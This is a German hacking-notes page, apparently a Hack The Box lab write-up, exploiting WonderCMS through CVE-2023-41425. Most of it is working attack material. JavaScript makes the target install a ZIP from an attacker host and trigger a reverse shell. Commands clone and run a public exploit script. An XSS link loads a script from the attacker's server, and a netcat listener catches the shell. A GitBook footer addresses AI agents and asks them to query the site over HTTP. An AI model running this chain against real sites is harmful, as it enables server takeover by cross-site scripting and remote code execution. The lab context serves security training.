> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/wonder-cms-exploitation.md).

# Wonder

## Schwachstellen-Wunder /\[CVE-2023-41425]

Die Suche nach CMS-Schwachstellen deckt ein XSS-zu-RCE-Problem auf.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**JavaScript-Code, um eine Shell zu erhalten:**/ Das folgende JavaScript lädt eine bösartige ZIP-Datei mit einem Reverse-Shell-Skript herunter und führt sie auf dem Server aus:

```javascript
// der Server hat Probleme beim Auflösen des Domainnamens mit JavaScript
// wir können die Ziel-URL einfach als erforderlichen Parameter angeben
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// den Pfad zur ZIP-Datei ändern, die vom HTTP-Server bereitgestellt wird
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // rev.php innerhalb der hochgeladenen ZIP-Datei aufrufen
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // Reverse-Shell-Skript auslösen und Listener-IP & -Port angeben
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Installieren des Exploit-Skripts für CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Führen Sie das Exploit-Skript aus:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

Das Skript sendet eine Anfrage an den Angreifer-Server auf Port 8000 über `xss.js`, wodurch RCE und die Kontrolle über das Ziel ermöglicht werden.

<figure><img src="/files/fbfebba615ab38c82352a0c920101fce4f30b300" alt=""><figcaption></figcaption></figure>

**Letzter Schritt:**

Senden Sie den XSS-Link über das an den Administrator `contact.php` Formular, um den bösartigen Link auszulösen:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/492a9d0f39fa8745cbb5c32621f9d6e9c9767313" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ad844a6093b5f24eb20d1a46b6208e72ae22fc6c" alt=""><figcaption></figcaption></figure>

**Richten Sie einen Netcat-Listener ein:**/ Starten Sie einen Listener auf Port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/ef62092465c3deb67018cfa7a19bffd3626208bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/wonder-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
